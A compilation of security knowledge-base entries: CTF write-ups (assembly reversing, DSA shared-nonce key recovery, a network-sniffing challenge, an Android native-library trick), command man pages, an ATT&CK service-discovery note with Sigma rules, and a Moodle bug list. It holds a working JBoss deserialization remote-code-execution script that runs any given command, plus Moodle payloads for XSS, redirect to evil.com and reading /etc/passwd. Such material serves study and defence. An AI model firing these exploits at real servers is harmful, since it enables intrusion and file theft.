0xc (arg2) +---------+ ``` What happens later is: ```assembly mov eax,DWORD PTR [ebp+0xc] ; eax = 0x28 mov DWORD PTR [ebp-0x4],eax ; local1 = 0x28 mov eax,DWORD PTR [ebp+0x8] ; eax = 0x7 mov DWORD PTR [ebp-0x8],eax ; local2 = 0x7 jmp part_b ``` We jump to part_b: ```assembly part_b: cmp DWORD PTR [ebp+0x8],0xa1de ; compare local2 and 0xa1de jle part_a ; Jump to part_a, since 0x7 <= 0xa1de mov eax,DWORD PTR [ebp-0x4] ``` Jumping to part_a: ```assembly part_a: add DWORD PTR [ebp-0x4],0x1 ; local1 += 1 add DWORD PTR [ebp+0x8],0x76 ; local2 += 0x76 ``` We then execute part_b again, comparing local2 and 0xa1de. We do this until local2 > 0xa1de, then return local1. In python, this is equal to: ```python >>> local1 = 0x28 >>> local2 = 0x7 >>> while local2 <= 0xa1de: ... local1 +=1 ... local2 += 0x76 ... >>> print(local1) 392 ``` So the flag is 392 = 0x188.
sec-knowleage
nohup === 将程序以忽略挂起信号的方式运行起来 ## 补充说明 **nohup命令** 可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端。 无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 ### 语法 nohup(选项)(参数) ### 选项 ```shell --help:在线帮助; --version:显示版本信息。 ``` ### 参数 程序及选项:要运行的程序及选项。 ### 实例 使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件: ```shell nohup command > myout.file 2>&1 & ``` 在上面的例子中,输出被重定向到myout.file文件中。 该指令表示不做挂断操作,后台下载 ```shell nohup wget site.com/file.zip ``` 下面命令,会在同一个目录下生成一个名称为 `nohup.out` 的文件,其中包含了正在运行的程序的输出内容 ```shell nohup ping -c 10 baidu.com ```
sec-knowleage
#! /usr/bin/env python2 # Jboss Java Deserialization RCE (CVE-2015-7501) # Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import argparse import sys, os #from binascii import hexlify, unhexlify from subprocess import check_output ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar'] ysoserial_path = None parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)') parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if not args.ysoserial_path: for path in ysoserial_default_paths: if os.path.exists(path): ysoserial_path = path else: if os.path.exists(args.ysoserial_path): ysoserial_path = args.ysoserial_path if ysoserial_path is None: print('[-] Could not find ysoserial JAR file') sys.exit(1) if len(args.target.split(":")) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') print('[*] Target IP: {}'.format(ip)) print('[*] Target PORT: {}'.format(port)) gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget) if r.status_code == 200: print('[+] Command executed successfully')
sec-knowleage
# DSA 上面所描述的ElGamal签名算法在实际中并不常用,更常用的是其变体DSA。 ## 基本原理 ### 密钥生成 1. 选择一个合适的哈希函数,目前一般选择SHA1,当前也可以选择强度更高的哈希函数H。 2. 选择密钥的长度L和N,这两个值决定了签名的安全程度。在最初的DSS(**Digital Signature Standard** )中建议L必须为64的倍数,并且$512 \leq L \leq 1024$ ,当然,也可以更大。N必须大小必须不大于哈希函数H输出的长度。FIPS 186-3给出了一些建议的L和N的取值例子:(1024, 160), (2048, 224), (2048, 256),以及 (3,072, 256)。 3. 选择N比特的素数q。 4. 选择L比特的素数p,使得p-1是q的倍数。 5. 选择满足$g^k \equiv 1 \bmod p$ 的最小正整数k为q的g,即在模p的背景下,ord(g)=q的g。即g在模p的意义下,其指数次幂可以生成具有q个元素的子群。这里,我们可以通过计算$g=h^{\frac{p-1}{q}} \bmod p$ 来得到g,其中$1< h < p-1$ 。 6. 选择私钥x,$0<x<q$ ,计算$y \equiv g^x \bmod p$ 。 公钥为(p,q,g,y),私钥为(x)。 ### 签名 签名步骤如下 1. 选择随机整数数k作为临时密钥,$0<k<q$ 。 2. 计算$r\equiv (g^k \bmod p) \bmod q$ 3. 计算$s\equiv (H(m)+xr)k^{-1} \bmod q$ 签名结果为(r,s)。需要注意的是,这里与Elgamal很重要的不同是这里使用了哈希函数对消息进行了哈希处理。 ### 验证 验证过程如下 1. 计算辅助值,$w=s^{-1} \bmod q$ 2. 计算辅助值,$u_1=H(m)w \bmod q$ 3. 计算辅助值,$u_2=rw \bmod q$ 4. 计算$v=(g^{u_1}y^{u_2} \bmod p) \bmod q$ 5. 如果v与r相等,则校验成功。 ### 正确性推导 首先,g 满足 $g^k \equiv 1 \bmod p$ 的最小正整数k为q。所以 $g^q \equiv 1 \bmod p$ 。所以 $g^x \equiv g^{x \bmod q} \bmod p$ 。进而 $v=(g^{u_1}y^{u_2} \bmod p) \bmod q=g^{u_1}g^{xu_2} \equiv g^{H(m)w}g^{xrw} \equiv g^{H(m)w+xrw}$ 又$s\equiv (H(m)+xr)k^{-1} \bmod q$ 且$w=s^{-1} \bmod q$ 所以 $k \equiv s^{-1}(H(m)+xr) \equiv H(m)w+xrw \bmod q$ 所以$v \equiv g^k$ 。正确性得证。 ## 安全性 ### 已知k #### 原理 如果知道了随机密钥k,那么我们就可以根据$s\equiv (H(m)+xr)k^{-1} \bmod q$ 计算私钥d,几乎攻破了DSA。 这里一般情况下,消息的hash值都会给出。 $x \equiv r^{-1}(ks-H(m)) \bmod q$ ### k共享 #### 原理 如果在两次签名的过程中共享了k,我们就可以进行攻击。 假设签名的消息为m1,m2,显然,两者的r的值一样,此外 $s_1\equiv (H(m_1)+xr)k^{-1} \bmod q$ $s_2\equiv (H(m_2)+xr)k^{-1} \bmod q$ 这里我们除了x和k不知道剩下的均知道,那么 $s_1k \equiv H(m_1)+xr$ $s_2k \equiv H(m_2)+xr$ 两式相减 $k(s_1-s_2) \equiv H(m_1)-H(m_2) \bmod q$ 此时 即可解出k,进一步我们可以解出x。 #### 例子 这里我们以湖湘杯的DSA为例,但是不能直接去做,,,因为发现在验证message4的时候签名不通过。源题目我没有了,。,,这里我以Jarvis OJ中经过修改的题目DSA为例 ```shell ➜ 2016湖湘杯DSA git:(master) ✗ openssl sha1 -verify dsa_public.pem -signature packet1/sign1.bin packet1/message1 Verified OK ➜ 2016湖湘杯DSA git:(master) ✗ openssl sha1 -verify dsa_public.pem -signature packet2/sign2.bin packet2/message1 packet2/message1: No such file or directory ➜ 2016湖湘杯DSA git:(master) ✗ openssl sha1 -verify dsa_public.pem -signature packet2/sign2.bin packet2/message2 Verified OK ➜ 2016湖湘杯DSA git:(master) ✗ openssl sha1 -verify dsa_public.pem -signature packet3/sign3.bin packet3/message3 Verified OK ➜ 2016湖湘杯DSA git:(master) ✗ openssl sha1 -verify dsa_public.pem -signature packet4/sign4.bin packet4/message4 Verified OK ``` 可以看出四则消息全部校验通过。这里之所以会联想到共享k是因为题目中提示了PS3的破解曾用到这个方法,从网上搜索可知该攻击。 下面,我们看一下签名后的值,这里使用的命令如下 ```shell ➜ 2016湖湘杯DSA git:(master) ✗ openssl asn1parse -inform der -in packet4/sign4.bin 0:d=0 hl=2 l= 44 cons: SEQUENCE 2:d=1 hl=2 l= 20 prim: INTEGER :5090DA81FEDE048D706D80E0AC47701E5A9EF1CC 24:d=1 hl=2 l= 20 prim: INTEGER :5E10DED084203CCBCEC3356A2CA02FF318FD4123 ➜ 2016湖湘杯DSA git:(master) ✗ openssl asn1parse -inform der -in packet3/sign3.bin 0:d=0 hl=2 l= 44 cons: SEQUENCE 2:d=1 hl=2 l= 20 prim: INTEGER :5090DA81FEDE048D706D80E0AC47701E5A9EF1CC 24:d=1 hl=2 l= 20 prim: INTEGER :30EB88E6A4BFB1B16728A974210AE4E41B42677D ➜ 2016湖湘杯DSA git:(master) ✗ openssl asn1parse -inform der -in packet2/sign2.bin 0:d=0 hl=2 l= 44 cons: SEQUENCE 2:d=1 hl=2 l= 20 prim: INTEGER :60B9F2A5BA689B802942D667ED5D1EED066C5A7F 24:d=1 hl=2 l= 20 prim: INTEGER :3DC8921BA26B514F4D991A85482750E0225A15B5 ➜ 2016湖湘杯DSA git:(master) ✗ openssl asn1parse -inform der -in packet1/sign1.bin 0:d=0 hl=2 l= 45 cons: SEQUENCE 2:d=1 hl=2 l= 21 prim: INTEGER :8158B477C5AA033D650596E93653C730D26BA409 25:d=1 hl=2 l= 20 prim: INTEGER :165B9DD1C93230C31111E5A4E6EB5181F990F702 ``` 其中,获取的第一个值是r,第二个值是s。可以看到第4个packet和第3个packet共享了k,因为他们的r一致。 这里我们可以使用openssl看下公钥 ```shell ➜ 2016湖湘杯DSA git:(master) ✗ openssl dsa -in dsa_public.pem -text -noout -pubin read DSA key pub: 45:bb:18:f6:0e:b0:51:f9:d4:82:18:df:8c:d9:56: 33:0a:4f:f3:0a:f5:34:4f:6c:95:40:06:1d:53:83: 29:2d:95:c4:df:c8:ac:26:ca:45:2e:17:0d:c7:9b: e1:5c:c6:15:9e:03:7b:cc:f5:64:ef:36:1c:18:c9: 9e:8a:eb:0b:c1:ac:f9:c0:c3:5d:62:0d:60:bb:73: 11:f1:cf:08:cf:bc:34:cc:aa:79:ef:1d:ad:8a:7a: 6f:ac:ce:86:65:90:06:d4:fa:f0:57:71:68:57:ec: 7c:a6:04:ad:e2:c3:d7:31:d6:d0:2f:93:31:98:d3: 90:c3:ef:c3:f3:ff:04:6f P: 00:c0:59:6c:3b:5e:93:3d:33:78:be:36:26:be:31: 5e:e7:0c:a6:b5:b1:1a:51:9b:55:23:d4:0e:5b:a7: 45:66:e2:2c:c8:8b:fe:c5:6a:ad:66:91:8b:9b:30: ad:28:13:88:f0:bb:c6:b8:02:6b:7c:80:26:e9:11: 84:be:e0:c8:ad:10:cc:f2:96:be:cf:e5:05:05:38: 3c:b4:a9:54:b3:7c:b5:88:67:2f:7c:09:57:b6:fd: f2:fa:05:38:fd:ad:83:93:4a:45:e4:f9:9d:38:de: 57:c0:8a:24:d0:0d:1c:c5:d5:fb:db:73:29:1c:d1: 0c:e7:57:68:90:b6:ba:08:9b Q: 00:86:8f:78:b8:c8:50:0b:eb:f6:7a:58:e3:3c:1f: 53:9d:35:70:d1:bd G: 4c:d5:e6:b6:6a:6e:b7:e9:27:94:e3:61:1f:41:53: cb:11:af:5a:08:d9:d4:f8:a3:f2:50:03:72:91:ba: 5f:ff:3c:29:a8:c3:7b:c4:ee:5f:98:ec:17:f4:18: bc:71:61:01:6c:94:c8:49:02:e4:00:3a:79:87:f0: d8:cf:6a:61:c1:3a:fd:56:73:ca:a5:fb:41:15:08: cd:b3:50:1b:df:f7:3e:74:79:25:f7:65:86:f4:07: 9f:ea:12:09:8b:34:50:84:4a:2a:9e:5d:0a:99:bd: 86:5e:05:70:d5:19:7d:f4:a1:c9:b8:01:8f:b9:9c: dc:e9:15:7b:98:50:01:79 ``` 下面,我们直接利用上面的原理编写程序即可,程序如下 ```python #coding=utf8 from Crypto.PublicKey import DSA from hashlib import sha1 import gmpy2 with open('./dsa_public.pem') as f: key = DSA.importKey(f) y = key.y g = key.g p = key.p q = key.q f3 = open(r"packet3/message3", 'r') f4 = open(r"packet4/message4", 'r') data3 = f3.read() data4 = f4.read() sha = sha1() sha.update(data3) m3 = int(sha.hexdigest(), 16) sha = sha1() sha.update(data4) m4 = int(sha.hexdigest(), 16) print m3, m4 s3 = 0x30EB88E6A4BFB1B16728A974210AE4E41B42677D s4 = 0x5E10DED084203CCBCEC3356A2CA02FF318FD4123 r = 0x5090DA81FEDE048D706D80E0AC47701E5A9EF1CC ds = s4 - s3 dm = m4 - m3 k = gmpy2.mul(dm, gmpy2.invert(ds, q)) k = gmpy2.f_mod(k, q) tmp = gmpy2.mul(k, s3) - m3 x = tmp * gmpy2.invert(r, q) x = gmpy2.f_mod(x, q) print int(x) ``` **我发现pip安装的pycrypto竟然没有DSA的importKey函数。。。只好从github上下载安装了pycrypto。。。** 结果如下 ```shell ➜ 2016湖湘杯DSA git:(master) ✗ python exp.py 1104884177962524221174509726811256177146235961550 943735132044536149000710760545778628181961840230 520793588153805320783422521615148687785086070744 ```
sec-knowleage
# T1007-系统服务发现 ## 来自ATT&CK的描述 攻击者可能会尝试获取有关注册服务的信息。可以使用操作系统程序获取有关服务的信息的命令是“sc”,或者使用Tasklist的“ tasklist /svc” 、或者使用Net命令的“net start” ,但是攻击者也可以使用其他工具。攻击者可以在自动发现过程中使用“ 系统服务发现”中的信息来决定后续行动该如何开展,包括攻击者是否完全感染目标或尝试执行特定操作。 ## 测试案例 windows下执行sc相关命令、tasklist /svc、net start ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\Windows\system32>sc query SERVICE_NAME: BFE DISPLAY_NAME: Base Filtering Engine TYPE : 20 WIN32_SHARE_PROCESS STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 ``` ```dos C:\Windows\system32>tasklist /svc 映像名称 PID 服务 ========================= ======== ============================================ System Idle Process 0 暂缺 System 4 暂缺 smss.exe 288 暂缺 csrss.exe 420 暂缺 csrss.exe 532 暂缺 wininit.exe 576 暂缺 winlogon.exe 584 暂缺 services.exe 664 暂缺 ``` ```dos C:\Windows\system32>net start 已经启动以下 Windows 服务: Background Tasks Infrastructure Service Base Filtering Engine CDPUserSvc_11e76e Certificate Propagation CNG Key Isolation COM+ Event System COM+ System Application ``` ## 测试留痕 windows 安全日志、进程创建、进程关闭、命令行参数等 ## 检测规则/思路 ### sigma规则 ```yml title: windows 系统服务发现 description: windows server 2016 references: tags: T1007 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\sc.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称 Processcommandline: SC * #进程信息>进程命令行 condition: selection level: medium ``` ```yml title: windows 系统服务发现 description: windows server 2016 references: tags: T1007 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection1: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\tasklist.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\Windows\System32\cmd.exe' #进程信息>创建者进程名称 Processcommandline: tasklist * #进程信息>进程命令行 selection2: # *5 EventID: 4703 #一个用户的权限被调整。 ProcessName: 'C:\Windows\System32\whoami.exe' #进程信息>进程名 EnabledPrivileges: 'SeDebugPrivilege' #启用的权限 selection3: EventID: 4690 #试图将句柄复制到对象。 selection4: EventID: 4658 #已关闭到对象的句柄。 ProcessName: 'C:\Windows\System32\wbem\WmiPrvSE.exe' #进程信息>进程名 selection5: EventID: 4656 #已请求到对象的句柄。 Objectname: '\Device\HarddiskVolume4\Windows\System32\lsass.exe' #对象>对象名 ProcessName: 'C:\Windows\System32\wbem\WmiPrvSE.exe' #进程信息>进程名 selection6: EventID: 4633 #试图访问对象。 Objectname: '\Device\HarddiskVolume4\Windows\System32\lsass.exe' #对象>对象名 ProcessName: 'C:\Windows\System32\wbem\WmiPrvSE.exe' #进程信息>进程名 Access: 读取进程内存 #访问请求信息>访问 selection7: EventID: 4658 #已关闭到对象的句柄。 ProcessName: 'C:\Windows\System32\wbem\WmiPrvSE.exe' #进程信息>进程名 selection8: EventID: 4689 #已退出进程 ProcessName: 'C:\Windows\System32\tasklist.exe' #进程信息>进程名 Exitstatus: 0x0 #进程信息>退出状态 timeframe: last 1m #可根据实际情况调整 condition: all of them level: medium ``` ```yml title: windows 系统服务发现 description: windows server 2016 references: tags: T1007 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection1: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\net.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称 Processcommandline: net start #进程信息>进程命令行 selection2: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\net1.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\Windows\System32\net.exe' #进程信息>创建者进程名称 Processcommandline: C:\Windows\system32\net1 start #进程信息>进程命令行 selection3: EventID: 4689 #已退出进程 ProcessName: 'C:\Windows\System32\net1.exe' #进程信息>进程名 selection4: EventID: 4689 #已退出进程 ProcessName: 'C:\Windows\System32\net.exe' #进程信息>进程名 timeframe: last 1m #可根据实际情况调整 condition: all of them level: medium ``` ### 建议 系统服务发现方法有很多,不能一一列举。 ## 参考推荐 MITRE-ATT&CK-T1007 <https://attack.mitre.org/techniques/T1007/>
sec-knowleage
# Moodle Common Bugs ## Introduction What would you do if you came across a website that uses Moodle? ## How to Detect If you visit `https://target.com` and see the source code, you will see `<meta name="keywords" content="moodle,` 1. Reflected XSS in /mod/lti/auth.php via "redirect_url" parameter ``` https://target.com/mod/lti/auth.php?redirect_uri=javascript:alert(1) ``` 2. Open redirect in /mod/lti/auth.php in "redirect_url" parameter ``` https://target.com/mod/lti/auth.php?redirect_uri=https://evil.com ``` 3. LFI /filter/jmol/js/jsmol/php/jsmol.php in "query" parameter ``` https://target.com/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd ```
sec-knowleage
# Satellite Category: Networking ## Description > Placing your ship in range of the Osmiums, you begin to receive signals. Hoping that you are not detected, because it's too late now, you figure that it may be worth finding out what these signals mean and what information might be "borrowed" from them. Can you hear me Captain Tim? Floating in your tin can there? Your tin can has a wire to ground control? Find something to do that isn't staring at the Blue Planet. A binary file was attached. ## Solution Let's run the attached binary: ``` Hello Operator. Ready to connect to a satellite? Enter the name of the satellite to connect to or 'exit' to quit test Unrecognized satellite: test ``` Since we don't know what the program is expecting, let's check the binary with Ghidra (according to the strings this is a Golang binary, so we first run [golang_renamer.py](https://github.com/ghidraninja/ghidra_scripts) on it): ```assembly 004f8b95 e8 e6 12 CALL strings.ToLower undefined strings.ToLower(long * fe ff 004f8b9a 48 8b 44 MOV RAX,qword ptr [RSP + local_160] 24 10 004f8b9f 48 8b 4c MOV param_4,qword ptr [RSP + local_158] 24 18 004f8ba4 48 83 f9 05 CMP param_4,0x5 004f8ba8 75 12 JNZ LAB_004f8bbc 004f8baa 81 38 65 CMP dword ptr [RAX],"exit" 78 69 74 004f8bb0 75 0a JNZ LAB_004f8bbc 004f8bb2 80 78 04 0a CMP byte ptr [RAX + 0x4]=>DAT_00000004+1,0xa = null 004f8bb6 0f 84 ea JZ LAB_004f8ca6 00 00 00 LAB_004f8bbc XREF[2]: 004f8ba8(j), 004f8bb0(j) 004f8bbc 48 83 f9 07 CMP param_4,0x7 004f8bc0 75 1a JNZ LAB_004f8bdc 004f8bc2 81 38 6f CMP dword ptr [RAX],"osmi" 73 6d 69 004f8bc8 75 12 JNZ LAB_004f8bdc 004f8bca 66 81 78 CMP word ptr [RAX + 0x4]=>DAT_00000004+1,"um" = null 04 75 6d 004f8bd0 75 0a JNZ LAB_004f8bdc 004f8bd2 80 78 06 0a CMP byte ptr [RAX + 0x6]=>DAT_00000004+3,0xa = null 004f8bd6 0f 84 ad JZ LAB_004f8c89 00 00 00 ; ..... LAB_004f8c89 XREF[1]: 004f8bd6(j) 004f8c89 48 8b 44 MOV RAX,qword ptr [RSP + local_108] 24 68 004f8c8e 48 89 04 24 MOV qword ptr [RSP]=>local_170,RAX 004f8c92 48 8b 44 MOV RAX,qword ptr [RSP + local_130] 24 40 004f8c97 48 89 44 MOV qword ptr [RSP + local_168],RAX 24 08 004f8c9c e8 8f 00 CALL main.connectToSat undefined main.connectToSat(long 00 00 004f8ca1 e9 11 fd JMP LAB_004f89b7 ff ff ``` It looks like the satellite name should be "osmium", let's try that: ```console Enter the name of the satellite to connect to or 'exit' to quit osmium Establishing secure connection to osmium satellite... Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect a Username: brewtoot password: ******************** 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E ``` The password is redacted! First, let's peek at the Google Docs file.It contains a single line, base64 encoded: ``` VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg== ``` Let's decode it: ```console root@kali:/media/sf_CTFs/google/Satellite# echo TG9naW5zIGZvciBob21lIGFuZCB3b3JrIGNvbXB1dGVyOgpVc2VybmFtZTogd2Vib3J0dG8KUGFzc3dvcmQ6IHRvdGFsbHktbm90LWEtZmxhZy1rZWVwLXNuaWZmaW5nCg== | base64 -d Logins for home and work computer: Username: webortto Password: totally-not-a-flag-keep-sniffing ``` Obviously, the password must have been sent over the network, let's try to sniff it. ```console root@kali:/media/sf_CTFs/google/Satellite# tshark -nr osmium.pcapng -Y 'frame contains "password"' 16 28.632225193 34.76.101.29 → 10.0.2.15 TCP 417 1337 → 52616 [PSH, ACK] Seq=88 Ack=3 Win=65535 Len=363 1337 52616 root@kali:/media/sf_CTFs/google/Satellite# tshark -nr osmium.pcapng -Y 'frame contains "password"' -T fields -e data.text -o data.show_as_text:TRUE Username: brewtoot password: CTF{4efcc72090af28fd33a2118985541f92e793477f} 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E ``` We got the flag - CTF{4efcc72090af28fd33a2118985541f92e793477f}.
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH FACTOR 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 factor \- 求质因数分解 .SH 概述 \fBfactor\fP [\fI\,数\/\fP]... .br \fBfactor\fP \fI\,选项\/\fP .SH 描述 .\" Add any additional description here .PP 打印参数列表中的每一个整数的质因数分解。如果没有指定参数,则从标准输入读取。 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Paul Rubin, Torbjorn Granlund 和 Niels Moller 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/factor> .br 或者在本地使用: info \(aq(coreutils) factor invocation\(aq
sec-knowleage
# Welcome to droid (Re, 635p, 24 solved) [PL](#pl-version) In the task we get [android application](droid.apk) to work with. Once we reverse the sources, it seems we need to pass some checks to reach the flag. However one of the checks is: ```java public String m4832k() { char[] cArr = new char[]{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'}; StringBuffer stringBuffer = new StringBuffer(); Random random = new Random(); for (int i = 0; i < 20; i++) { stringBuffer.append(cArr[random.nextInt(cArr.length)]); } return stringBuffer.toString(); } ``` And sice it's using random values, it's very unlikely we can pass it. We could try to patch the code, but it's a lot of fuss. If we could pass all the checks the code that shows the flag is: ```java this.f3092l = (EditText) findViewById(R.id.editText); this.f3092l.setText(stringFromJNI()); ``` So it calls a single function from the native library shipped with the app. The function is pretty much unreversable, way to complex, but we don't need that. We can simply load this library and call the function, without all silly checks! In order to do that we create a new android project (we actually used NDK example) with Android Studio, create a new Activity, but keeping all the names and packages the same, and write code: ```java package com.example.puing.a2018codegate; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.TextView; import java.util.logging.Logger; public class Main4Activity extends AppCompatActivity { static { System.loadLibrary("hello-libs"); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TextView tv = new TextView(this); String flagString = stringFromJNI(); tv.setText(flagString); setContentView(tv); Logger.getLogger("flagLogger").info(flagString); } public native String stringFromJNI(); } ``` We modify the build.gradle for libs to include our .so files: ``` sourceSets { main { // let gradle pack the shared library into apk jniLibs.srcDirs = ['../distribution/gperf/lib', '../distribution/droid/lib'] } } ``` And we're good to go. We can just run the app and get: ![](flag.png) So the flag is: `FLAG{W3_w3r3_Back_70_$3v3n7een!!!}` ### PL version W zadaniu dostajemy [aplikację androidową](droid.apk). Po zdekompilowaniu i analizie źródeł widać, że musimy przejść kilka testów żeby dostać flagę. Niestety jeden z nich to: ```java public String m4832k() { char[] cArr = new char[]{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'}; StringBuffer stringBuffer = new StringBuffer(); Random random = new Random(); for (int i = 0; i < 20; i++) { stringBuffer.append(cArr[random.nextInt(cArr.length)]); } return stringBuffer.toString(); } ``` A skoro używa losowych wartości to jest mała szansa że uda się go przejść. Moglibyśmy spróbować patchować ten kod, ale to dużo roboty. Gdybyśmy przeszli testy to za wyświetlenie flagi odpowiada: ```java this.f3092l = (EditText) findViewById(R.id.editText); this.f3092l.setText(stringFromJNI()); ``` Więc wołana jest jedna funkcja z natywnej biblioteki dostarczonej z aplikacją. Sama funkcja jest praktycznie nie do zreversowania, zbyt skomplikowana, ale nie musimy tego robić. Możemy po prostu załadować sobie tą bibliotekę i wywołać funkcje, bez żadnych testów! Żeby to zrobić stworzyliśmy nowy projekt androidowy (użyliśmy jako szablonu przykładowego kodu z NDK) w Android Studio, stworzyliśmy własne Activity, pozostawiając takie same nazwy klas i pakietów i napisaliśmy kod: ```java package com.example.puing.a2018codegate; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.TextView; import java.util.logging.Logger; public class Main4Activity extends AppCompatActivity { static { System.loadLibrary("hello-libs"); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TextView tv = new TextView(this); String flagString = stringFromJNI(); tv.setText(flagString); setContentView(tv); Logger.getLogger("flagLogger").info(flagString); } public native String stringFromJNI(); } ``` Musieliśmy też zmodyfikować build.gradle dla bibliotek, żeby uwzględnić nasze pliki .so: ``` sourceSets { main { // let gradle pack the shared library into apk jniLibs.srcDirs = ['../distribution/gperf/lib', '../distribution/droid/lib'] } } ``` I pozostało już tylko uruchomić aplikację i dostać: ![](flag.png) Więc flaga to `FLAG{W3_w3r3_Back_70_$3v3n7een!!!}`
sec-knowleage
package com.b1ngz.sec.util; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; /** * Created by b1ngz on 2018/9/9. */ public class ResourceUtils { public static String readResourceFileAsStr(String filename) throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(ResourceUtils.class.getResourceAsStream(filename))); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line); } return sb.toString(); } }
sec-knowleage
squidclient === squid服务器的客户端管理工具 ## 补充说明 **squidclient命令** 使用squid服务器的客户端管理工具,它可以查看squid服务器的详细运行信息和管理squid服务器。 ### 语法 ```shell squidclient(选项)(参数) ``` ### 选项 ```shell -a:不包含“accept:header”; -r:强制缓存重新加载URL; -s:安静模式,不输出信息到标准输出设备; -h:从指定主机获取url -l:指定一个本地ip地址进行绑定; -p:端口号,默认为3128; -m:指定发送请求的方法; -u:代理认证用户名。 ``` ### 参数 URL:指定操作缓存中的URL。
sec-knowleage
